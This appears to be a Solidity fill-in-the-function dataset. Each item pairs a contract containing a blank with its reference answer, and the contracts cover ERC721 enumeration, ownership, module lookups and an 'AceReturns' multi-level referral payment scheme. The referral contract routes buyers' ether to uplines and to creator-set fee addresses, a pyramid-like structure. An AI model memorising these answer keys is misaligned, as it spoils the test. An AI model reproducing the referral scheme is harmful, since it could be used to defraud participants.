_addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner. * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } }
// require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index];
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256)
/** * @dev Gets the token ID at a given index of the tokens list of the requested owner. * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256)
54376
Owned
null
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public {<FILL_FUNCTION_BODY> } modifier onlyOwner { require(msg.sender == owner); _; } // transfer Ownership to other address function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } }
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); <FILL_FUNCTION> modifier onlyOwner { require(msg.sender == owner); _; } // transfer Ownership to other address function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } }
owner = 0x63CD429d97E6A96c67f61dd834C16113C892f6e9;
constructor() public
constructor() public
49533
Module
_liquidator
contract Module is ModuleKeys { INexus public nexus; /** * @dev Initialises the Module by setting publisher addresses, * and reading all available system module information */ constructor(address _nexus) internal { require(_nexus != address(0), "Nexus is zero address"); nexus = INexus(_nexus); } /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { require(msg.sender == _governor(), "Only governor can execute"); _; } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Modifier to allow function calls only from the ProxyAdmin. */ modifier onlyProxyAdmin() { require( msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute" ); _; } /** * @dev Modifier to allow function calls only from the Manager. */ modifier onlyManager() { require(msg.sender == _manager(), "Only manager can execute"); _; } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) { return nexus.governor(); } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return Staking Module address from the Nexus * @return Address of the Staking Module contract */ function _staking() internal view returns (address) { return nexus.getModule(KEY_STAKING); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } /** * @dev Return MetaToken Module address from the Nexus * @return Address of the MetaToken Module contract */ function _metaToken() internal view returns (address) { return nexus.getModule(KEY_META_TOKEN); } /** * @dev Return OracleHub Module address from the Nexus * @return Address of the OracleHub Module contract */ function _oracleHub() internal view returns (address) { return nexus.getModule(KEY_ORACLE_HUB); } /** * @dev Return Manager Module address from the Nexus * @return Address of the Manager Module contract */ function _manager() internal view returns (address) { return nexus.getModule(KEY_MANAGER); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _liquidator() internal view returns (address) {<FILL_FUNCTION_BODY> } }
contract Module is ModuleKeys { INexus public nexus; /** * @dev Initialises the Module by setting publisher addresses, * and reading all available system module information */ constructor(address _nexus) internal { require(_nexus != address(0), "Nexus is zero address"); nexus = INexus(_nexus); } /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { require(msg.sender == _governor(), "Only governor can execute"); _; } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Modifier to allow function calls only from the ProxyAdmin. */ modifier onlyProxyAdmin() { require( msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute" ); _; } /** * @dev Modifier to allow function calls only from the Manager. */ modifier onlyManager() { require(msg.sender == _manager(), "Only manager can execute"); _; } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) { return nexus.governor(); } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return Staking Module address from the Nexus * @return Address of the Staking Module contract */ function _staking() internal view returns (address) { return nexus.getModule(KEY_STAKING); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } /** * @dev Return MetaToken Module address from the Nexus * @return Address of the MetaToken Module contract */ function _metaToken() internal view returns (address) { return nexus.getModule(KEY_META_TOKEN); } /** * @dev Return OracleHub Module address from the Nexus * @return Address of the OracleHub Module contract */ function _oracleHub() internal view returns (address) { return nexus.getModule(KEY_ORACLE_HUB); } /** * @dev Return Manager Module address from the Nexus * @return Address of the Manager Module contract */ function _manager() internal view returns (address) { return nexus.getModule(KEY_MANAGER); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } <FILL_FUNCTION> }
return nexus.getModule(KEY_LIQUIDATOR);
function _liquidator() internal view returns (address)
/** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _liquidator() internal view returns (address)
11446
AceReturns
transferLevelPayment
contract AceReturns { address public creator; uint MAX_LEVEL = 9; uint REFERRALS_LIMIT = 4; uint LEVEL_EXPIRE_TIME = 180 days; mapping (address => User) public users; mapping (uint => address) public userAddresses; uint public last_uid; mapping (uint => uint) public levelPrice; mapping (uint => uint) public levelnetPrice; mapping (uint => uint) public uplinesToRcvEth; mapping (address => ProfitsRcvd) public rcvdProfits; mapping (address => ProfitsGiven) public givenProfits; mapping (address => LostProfits) public lostProfits; address payable private contract1 = msg.sender; address payable private contract2 = msg.sender; uint256 public launchtime = 1590168600; struct User { uint id; uint referrerID; address[] referrals; mapping (uint => uint) levelExpiresAt; } struct ProfitsRcvd { uint uid; uint[] fromId; address[] fromAddr; uint[] amount; } struct LostProfits { uint uid; uint[] toId; address[] toAddr; uint[] amount; uint[] level; } struct ProfitsGiven { uint uid; uint[] toId; address[] toAddr; uint[] amount; uint[] level; uint[] line; } modifier validLevelAmount(uint _level) { require(msg.value == levelPrice[_level], 'Invalid pool amount sent'); _; } modifier userRegistered() { require(users[msg.sender].id != 0, 'User does not exist'); _; } modifier validReferrerID(uint _referrerID) { require(_referrerID > 0 && _referrerID <= last_uid, 'Invalid referrer ID'); _; } modifier userNotRegistered() { require(users[msg.sender].id == 0, 'User is already registered'); _; } modifier validLevel(uint _level) { require(_level > 0 && _level <= MAX_LEVEL, 'Invalid level entered'); _; } event RegisterUserEvent(address indexed user, address indexed referrer, uint time); event BuyLevelEvent(address indexed user, uint indexed level, uint time); event GetLevelProfitEvent(address indexed user, address indexed referral, uint indexed level, uint time); event LostLevelProfitEvent(address indexed user, address indexed referral, uint indexed level, uint time); constructor() public { last_uid++; creator = msg.sender; levelPrice[1] = 0.03 ether; levelPrice[2] = 0.06 ether; levelPrice[3] = 0.30 ether; levelPrice[4] = 0.70 ether; levelPrice[5] = 1.50 ether; levelPrice[6] = 3.00 ether; levelPrice[7] = 5.00 ether; levelPrice[8] = 7.00 ether; levelPrice[9] = 10.00 ether; levelnetPrice[1] = 0.0294 ether; levelnetPrice[2] = 0.0588 ether; levelnetPrice[3] = 0.294 ether; levelnetPrice[4] = 0.686 ether; levelnetPrice[5] = 1.47 ether; levelnetPrice[6] = 2.94 ether; levelnetPrice[7] = 4.90 ether; levelnetPrice[8] = 6.86 ether; levelnetPrice[9] = 9.80 ether; uplinesToRcvEth[1] = 1; uplinesToRcvEth[2] = 2; uplinesToRcvEth[3] = 3; uplinesToRcvEth[4] = 4; uplinesToRcvEth[5] = 5; uplinesToRcvEth[6] = 6; uplinesToRcvEth[7] = 7; uplinesToRcvEth[8] = 8; uplinesToRcvEth[9] = 9; users[creator] = User({ id: last_uid, referrerID: 0, referrals: new address[](0) }); userAddresses[last_uid] = creator; // enter all levels expiry for creator for (uint i = 1; i <= MAX_LEVEL; i++) { users[creator].levelExpiresAt[i] = 1 << 37; } } function registerUser(uint _referrerID) public payable userNotRegistered() validReferrerID(_referrerID) validLevelAmount(1) { require(now >= launchtime); if (users[userAddresses[_referrerID]].referrals.length >= REFERRALS_LIMIT) { _referrerID = users[findReferrer(userAddresses[_referrerID])].id; } last_uid++; users[msg.sender] = User({ id: last_uid, referrerID: _referrerID, referrals: new address[](0) }); userAddresses[last_uid] = msg.sender; users[msg.sender].levelExpiresAt[1] = now + LEVEL_EXPIRE_TIME; users[userAddresses[_referrerID]].referrals.push(msg.sender); uint256 _txns = SafeMath.mul(msg.value, 2); uint256 _txn = SafeMath.div(_txns, 100); uint256 _txnfinal = SafeMath.div(_txn, 2); contract1.transfer(_txnfinal); contract2.transfer(_txnfinal); transferLevelPayment(1, msg.sender); emit RegisterUserEvent(msg.sender, userAddresses[_referrerID], now); } function buyLevel(uint _level) public payable userRegistered() validLevel(_level) validLevelAmount(_level) { require(now >= launchtime); for (uint l = _level - 1; l > 0; l--) { require(getUserLevelExpiresAt(msg.sender, l) >= now, 'Buy previous level first'); } if (getUserLevelExpiresAt(msg.sender, _level) == 0) { users[msg.sender].levelExpiresAt[_level] = now + LEVEL_EXPIRE_TIME; } else { users[msg.sender].levelExpiresAt[_level] += LEVEL_EXPIRE_TIME; } uint256 _txns = SafeMath.mul(msg.value, 2); uint256 _txn = SafeMath.div(_txns, 100); uint256 _txnfinal = SafeMath.div(_txn, 2); contract1.transfer(_txnfinal); contract2.transfer(_txnfinal); transferLevelPayment(_level, msg.sender); emit BuyLevelEvent(msg.sender, _level, now); } function findReferrer(address _user) public view returns(address) { if (users[_user].referrals.length < REFERRALS_LIMIT) { return _user; } address[21844] memory referrals; referrals[0] = users[_user].referrals[0]; referrals[1] = users[_user].referrals[1]; referrals[2] = users[_user].referrals[2]; referrals[3] = users[_user].referrals[3]; address referrer; for (uint i = 0; i < 349524; i++) { if (users[referrals[i]].referrals.length < REFERRALS_LIMIT) { referrer = referrals[i]; break; } if (i >= 87381) { continue; } referrals[(i+1)*4] = users[referrals[i]].referrals[0]; referrals[(i+1)*4+1] = users[referrals[i]].referrals[1]; referrals[(i+1)*4+2] = users[referrals[i]].referrals[2]; referrals[(i+1)*4+3] = users[referrals[i]].referrals[3]; } require(referrer != address(0), 'Referrer not found'); return referrer; } function transferLevelPayment(uint _level, address _user) internal {<FILL_FUNCTION_BODY> } function setContract1(address payable _contract1) public { require(msg.sender==creator); contract1 = _contract1; } function setContract2(address payable _contract2) public { require(msg.sender==creator); contract2 = _contract2; } function setLaunchTime(uint256 _LaunchTime) public { require(msg.sender==creator); launchtime = _LaunchTime; } function getUserUpline(address _user, uint height) public view returns (address) { if (height <= 0 || _user == address(0)) { return _user; } return this.getUserUpline(userAddresses[users[_user].referrerID], height - 1); } function getUserReferrals(address _user) public view returns (address[] memory) { return users[_user].referrals; } function getUserProfitsFromId(address _user) public view returns (uint[] memory) { return rcvdProfits[_user].fromId; } function getUserProfitsFromAddr(address _user) public view returns (address[] memory) { return rcvdProfits[_user].fromAddr; } function getUserProfitsAmount(address _user) public view returns (uint256[] memory) { return rcvdProfits[_user].amount; } function getUserProfitsGivenToId(address _user) public view returns (uint[] memory) { return givenProfits[_user].toId; } function getUserProfitsGivenToAddr(address _user) public view returns (address[] memory) { return givenProfits[_user].toAddr; } function getUserProfitsGivenToAmount(address _user) public view returns (uint[] memory) { return givenProfits[_user].amount; } function getUserProfitsGivenToLevel(address _user) public view returns (uint[] memory) { return givenProfits[_user].level; } function getUserProfitsGivenToLine(address _user) public view returns (uint[] memory) { return givenProfits[_user].line; } function getUserLostsToId(address _user) public view returns (uint[] memory) { return (lostProfits[_user].toId); } function getUserLostsToAddr(address _user) public view returns (address[] memory) { return (lostProfits[_user].toAddr); } function getUserLostsAmount(address _user) public view returns (uint[] memory) { return (lostProfits[_user].amount); } function getUserLostsLevel(address _user) public view returns (uint[] memory) { return (lostProfits[_user].level); } function getUserLevelExpiresAt(address _user, uint _level) public view returns (uint) { return users[_user].levelExpiresAt[_level]; } function () external payable { revert(); } function getUserLevel (address _user) public view returns (uint) { if (getUserLevelExpiresAt(_user, 1) < now) { return (0); } else if (getUserLevelExpiresAt(_user, 2) < now) { return (1); } else if (getUserLevelExpiresAt(_user, 3) < now) { return (2); } else if (getUserLevelExpiresAt(_user, 4) < now) { return (3); } else if (getUserLevelExpiresAt(_user, 5) < now) { return (4); } else if (getUserLevelExpiresAt(_user, 6) < now) { return (5); } else if (getUserLevelExpiresAt(_user, 7) < now) { return (6); } else if (getUserLevelExpiresAt(_user, 8) < now) { return (7); } else if (getUserLevelExpiresAt(_user, 9) < now) { return (8); } else if (getUserLevelExpiresAt(_user, 10) < now) { return (9); } } function getUserDetails (address _user) public view returns (uint, uint) { if (getUserLevelExpiresAt(_user, 1) < now) { return (1, users[_user].id); } else if (getUserLevelExpiresAt(_user, 2) < now) { return (2, users[_user].id); } else if (getUserLevelExpiresAt(_user, 3) < now) { return (3, users[_user].id); } else if (getUserLevelExpiresAt(_user, 4) < now) { return (4, users[_user].id); } else if (getUserLevelExpiresAt(_user, 5) < now) { return (5, users[_user].id); } else if (getUserLevelExpiresAt(_user, 6) < now) { return (6, users[_user].id); } else if (getUserLevelExpiresAt(_user, 7) < now) { return (7, users[_user].id); } else if (getUserLevelExpiresAt(_user, 8) < now) { return (8, users[_user].id); } else if (getUserLevelExpiresAt(_user, 9) < now) { return (9, users[_user].id); } } }
contract AceReturns { address public creator; uint MAX_LEVEL = 9; uint REFERRALS_LIMIT = 4; uint LEVEL_EXPIRE_TIME = 180 days; mapping (address => User) public users; mapping (uint => address) public userAddresses; uint public last_uid; mapping (uint => uint) public levelPrice; mapping (uint => uint) public levelnetPrice; mapping (uint => uint) public uplinesToRcvEth; mapping (address => ProfitsRcvd) public rcvdProfits; mapping (address => ProfitsGiven) public givenProfits; mapping (address => LostProfits) public lostProfits; address payable private contract1 = msg.sender; address payable private contract2 = msg.sender; uint256 public launchtime = 1590168600; struct User { uint id; uint referrerID; address[] referrals; mapping (uint => uint) levelExpiresAt; } struct ProfitsRcvd { uint uid; uint[] fromId; address[] fromAddr; uint[] amount; } struct LostProfits { uint uid; uint[] toId; address[] toAddr; uint[] amount; uint[] level; } struct ProfitsGiven { uint uid; uint[] toId; address[] toAddr; uint[] amount; uint[] level; uint[] line; } modifier validLevelAmount(uint _level) { require(msg.value == levelPrice[_level], 'Invalid pool amount sent'); _; } modifier userRegistered() { require(users[msg.sender].id != 0, 'User does not exist'); _; } modifier validReferrerID(uint _referrerID) { require(_referrerID > 0 && _referrerID <= last_uid, 'Invalid referrer ID'); _; } modifier userNotRegistered() { require(users[msg.sender].id == 0, 'User is already registered'); _; } modifier validLevel(uint _level) { require(_level > 0 && _level <= MAX_LEVEL, 'Invalid level entered'); _; } event RegisterUserEvent(address indexed user, address indexed referrer, uint time); event BuyLevelEvent(address indexed user, uint indexed level, uint time); event GetLevelProfitEvent(address indexed user, address indexed referral, uint indexed level, uint time); event LostLevelProfitEvent(address indexed user, address indexed referral, uint indexed level, uint time); constructor() public { last_uid++; creator = msg.sender; levelPrice[1] = 0.03 ether; levelPrice[2] = 0.06 ether; levelPrice[3] = 0.30 ether; levelPrice[4] = 0.70 ether; levelPrice[5] = 1.50 ether; levelPrice[6] = 3.00 ether; levelPrice[7] = 5.00 ether; levelPrice[8] = 7.00 ether; levelPrice[9] = 10.00 ether; levelnetPrice[1] = 0.0294 ether; levelnetPrice[2] = 0.0588 ether; levelnetPrice[3] = 0.294 ether; levelnetPrice[4] = 0.686 ether; levelnetPrice[5] = 1.47 ether; levelnetPrice[6] = 2.94 ether; levelnetPrice[7] = 4.90 ether; levelnetPrice[8] = 6.86 ether; levelnetPrice[9] = 9.80 ether; uplinesToRcvEth[1] = 1; uplinesToRcvEth[2] = 2; uplinesToRcvEth[3] = 3; uplinesToRcvEth[4] = 4; uplinesToRcvEth[5] = 5; uplinesToRcvEth[6] = 6; uplinesToRcvEth[7] = 7; uplinesToRcvEth[8] = 8; uplinesToRcvEth[9] = 9; users[creator] = User({ id: last_uid, referrerID: 0, referrals: new address[](0) }); userAddresses[last_uid] = creator; // enter all levels expiry for creator for (uint i = 1; i <= MAX_LEVEL; i++) { users[creator].levelExpiresAt[i] = 1 << 37; } } function registerUser(uint _referrerID) public payable userNotRegistered() validReferrerID(_referrerID) validLevelAmount(1) { require(now >= launchtime); if (users[userAddresses[_referrerID]].referrals.length >= REFERRALS_LIMIT) { _referrerID = users[findReferrer(userAddresses[_referrerID])].id; } last_uid++; users[msg.sender] = User({ id: last_uid, referrerID: _referrerID, referrals: new address[](0) }); userAddresses[last_uid] = msg.sender; users[msg.sender].levelExpiresAt[1] = now + LEVEL_EXPIRE_TIME; users[userAddresses[_referrerID]].referrals.push(msg.sender); uint256 _txns = SafeMath.mul(msg.value, 2); uint256 _txn = SafeMath.div(_txns, 100); uint256 _txnfinal = SafeMath.div(_txn, 2); contract1.transfer(_txnfinal); contract2.transfer(_txnfinal); transferLevelPayment(1, msg.sender); emit RegisterUserEvent(msg.sender, userAddresses[_referrerID], now); } function buyLevel(uint _level) public payable userRegistered() validLevel(_level) validLevelAmount(_level) { require(now >= launchtime); for (uint l = _level - 1; l > 0; l--) { require(getUserLevelExpiresAt(msg.sender, l) >= now, 'Buy previous level first'); } if (getUserLevelExpiresAt(msg.sender, _level) == 0) { users[msg.sender].levelExpiresAt[_level] = now + LEVEL_EXPIRE_TIME; } else { users[msg.sender].levelExpiresAt[_level] += LEVEL_EXPIRE_TIME; } uint256 _txns = SafeMath.mul(msg.value, 2); uint256 _txn = SafeMath.div(_txns, 100); uint256 _txnfinal = SafeMath.div(_txn, 2); contract1.transfer(_txnfinal); contract2.transfer(_txnfinal); transferLevelPayment(_level, msg.sender); emit BuyLevelEvent(msg.sender, _level, now); } function findReferrer(address _user) public view returns(address) { if (users[_user].referrals.length < REFERRALS_LIMIT) { return _user; } address[21844] memory referrals; referrals[0] = users[_user].referrals[0]; referrals[1] = users[_user].referrals[1]; referrals[2] = users[_user].referrals[2]; referrals[3] = users[_user].referrals[3]; address referrer; for (uint i = 0; i < 349524; i++) { if (users[referrals[i]].referrals.length < REFERRALS_LIMIT) { referrer = referrals[i]; break; } if (i >= 87381) { continue; } referrals[(i+1)*4] = users[referrals[i]].referrals[0]; referrals[(i+1)*4+1] = users[referrals[i]].referrals[1]; referrals[(i+1)*4+2] = users[referrals[i]].referrals[2]; referrals[(i+1)*4+3] = users[referrals[i]].referrals[3]; } require(referrer != address(0), 'Referrer not found'); return referrer; } <FILL_FUNCTION> function setContract1(address payable _contract1) public { require(msg.sender==creator); contract1 = _contract1; } function setContract2(address payable _contract2) public { require(msg.sender==creator); contract2 = _contract2; } function setLaunchTime(uint256 _LaunchTime) public { require(msg.sender==creator); launchtime = _LaunchTime; } function getUserUpline(address _user, uint height) public view returns (address) { if (height <= 0 || _user == address(0)) { return _user; } return this.getUserUpline(userAddresses[users[_user].referrerID], height - 1); } function getUserReferrals(address _user) public view returns (address[] memory) { return users[_user].referrals; } function getUserProfitsFromId(address _user) public view returns (uint[] memory) { return rcvdProfits[_user].fromId; } function getUserProfitsFromAddr(address _user) public view returns (address[] memory) { return rcvdProfits[_user].fromAddr; } function getUserProfitsAmount(address _user) public view returns (uint256[] memory) { return rcvdProfits[_user].amount; } function getUserProfitsGivenToId(address _user) public view returns (uint[] memory) { return givenProfits[_user].toId; } function getUserProfitsGivenToAddr(address _user) public view returns (address[] memory) { return givenProfits[_user].toAddr; } function getUserProfitsGivenToAmount(address _user) public view returns (uint[] memory) { return givenProfits[_user].amount; } function getUserProfitsGivenToLevel(address _user) public view returns (uint[] memory) { return givenProfits[_user].level; } function getUserProfitsGivenToLine(address _user) public view returns (uint[] memory) { return givenProfits[_user].line; } function getUserLostsToId(address _user) public view returns (uint[] memory) { return (lostProfits[_user].toId); } function getUserLostsToAddr(address _user) public view returns (address[] memory) { return (lostProfits[_user].toAddr); } function getUserLostsAmount(address _user) public view returns (uint[] memory) { return (lostProfits[_user].amount); } function getUserLostsLevel(address _user) public view returns (uint[] memory) { return (lostProfits[_user].level); } function getUserLevelExpiresAt(address _user, uint _level) public view returns (uint) { return users[_user].levelExpiresAt[_level]; } function () external payable { revert(); } function getUserLevel (address _user) public view returns (uint) { if (getUserLevelExpiresAt(_user, 1) < now) { return (0); } else if (getUserLevelExpiresAt(_user, 2) < now) { return (1); } else if (getUserLevelExpiresAt(_user, 3) < now) { return (2); } else if (getUserLevelExpiresAt(_user, 4) < now) { return (3); } else if (getUserLevelExpiresAt(_user, 5) < now) { return (4); } else if (getUserLevelExpiresAt(_user, 6) < now) { return (5); } else if (getUserLevelExpiresAt(_user, 7) < now) { return (6); } else if (getUserLevelExpiresAt(_user, 8) < now) { return (7); } else if (getUserLevelExpiresAt(_user, 9) < now) { return (8); } else if (getUserLevelExpiresAt(_user, 10) < now) { return (9); } } function getUserDetails (address _user) public view returns (uint, uint) { if (getUserLevelExpiresAt(_user, 1) < now) { return (1, users[_user].id); } else if (getUserLevelExpiresAt(_user, 2) < now) { return (2, users[_user].id); } else if (getUserLevelExpiresAt(_user, 3) < now) { return (3, users[_user].id); } else if (getUserLevelExpiresAt(_user, 4) < now) { return (4, users[_user].id); } else if (getUserLevelExpiresAt(_user, 5) < now) { return (5, users[_user].id); } else if (getUserLevelExpiresAt(_user, 6) < now) { return (6, users[_user].id); } else if (getUserLevelExpiresAt(_user, 7) < now) { return (7, users[_user].id); } else if (getUserLevelExpiresAt(_user, 8) < now) { return (8, users[_user].id); } else if (getUserLevelExpiresAt(_user, 9) < now) { return (9, users[_user].id); } } }
uint height = _level; address referrer = getUserUpline(_user, height); if (referrer == address(0)) { referrer = creator; } uint uplines = uplinesToRcvEth[_level]; bool chkLostProfit = false; address lostAddr; for (uint i = 1; i <= uplines; i++) { referrer = getUserUpline(_user, i); if(chkLostProfit){ lostProfits[lostAddr].uid = users[referrer].id; lostProfits[lostAddr].toId.push(users[referrer].id); lostProfits[lostAddr].toAddr.push(referrer); //lostProfits[lostAddr].amount.push(levelPrice[_level] / uplinesToRcvEth[_level]); lostProfits[lostAddr].amount.push(levelnetPrice[_level] / uplinesToRcvEth[_level]); lostProfits[lostAddr].level.push(getUserLevel(referrer)); chkLostProfit = false; emit LostLevelProfitEvent(referrer, msg.sender, _level, 0); } if (referrer != address(0) && (users[_user].levelExpiresAt[_level] == 0 || getUserLevelExpiresAt(referrer, _level) < now)) { chkLostProfit = true; uplines++; lostAddr = referrer; continue; } else {chkLostProfit = false;} //add msg.value / uplinesToRcvEth[_level] in user's earned if (referrer == address(0)) { referrer = creator; } uint256 _txns = SafeMath.mul(msg.value, 2); uint256 _txn = SafeMath.div(_txns, 100); uint256 _taxedEthereum = SafeMath.sub(msg.value, _txn); if (address(uint160(referrer)).send( _taxedEthereum / uplinesToRcvEth[_level] )) { rcvdProfits[referrer].uid = users[referrer].id; rcvdProfits[referrer].fromId.push(users[msg.sender].id); rcvdProfits[referrer].fromAddr.push(msg.sender); //rcvdProfits[referrer].amount.push(levelPrice[_level] / uplinesToRcvEth[_level]); rcvdProfits[referrer].amount.push(levelnetPrice[_level] / uplinesToRcvEth[_level]); givenProfits[msg.sender].uid = users[msg.sender].id; givenProfits[msg.sender].toId.push(users[referrer].id); givenProfits[msg.sender].toAddr.push(referrer); //givenProfits[msg.sender].amount.push(levelPrice[_level] / uplinesToRcvEth[_level]); givenProfits[msg.sender].amount.push(levelnetPrice[_level] / uplinesToRcvEth[_level]); givenProfits[msg.sender].level.push(getUserLevel(referrer)); givenProfits[msg.sender].line.push(i); emit GetLevelProfitEvent(referrer, msg.sender, _level, now); } }
function transferLevelPayment(uint _level, address _user) internal
function transferLevelPayment(uint _level, address _user) internal
84220
NoMintERC721
_transferFrom
contract NoMintERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 